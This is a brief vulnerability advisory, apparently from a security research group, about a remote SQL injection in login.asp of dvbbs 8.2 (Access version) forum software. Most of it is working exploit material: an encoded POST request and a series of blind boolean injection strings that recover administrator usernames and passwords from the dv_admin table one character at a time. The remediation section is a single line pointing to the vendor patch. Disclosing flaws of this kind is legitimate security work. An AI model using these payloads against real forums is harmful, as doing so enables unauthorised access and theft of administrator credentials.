name:

where (topsec security research group)

email:

hackerb (at) hotmail (dot) com [email concealed]

Subject:

dvbbs8.2(access/sql)version login.asp remote sql injection

danger level:

critical/High

info:

dvbbs is prone to multiple sql injection security flaw

interrelated code to access version(exp):

password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&s
ubmit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25
201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where
%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%2527
1%2527%253D%25271

Examples(access version):

decide

Where? and ?1?=?1

where? and ?1?=?2

to get usernamer or password

where' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1

where' and 1=(select count(*) from dv_admin where left(username,2)='ad') and '1'='1

.......................

.......................

where' and 1=(select count(*) from dv_admin where left(password,1)='1') and '1'='1

where' and 1=(select count(*) from dv_admin where left(password,2)='15') and '1'='1

......................

......................

Solution:

Authorities patch

dvbbs web site(http://www.dvbbs.net)

References:

dvbbs(http://www.dvbbs.net)

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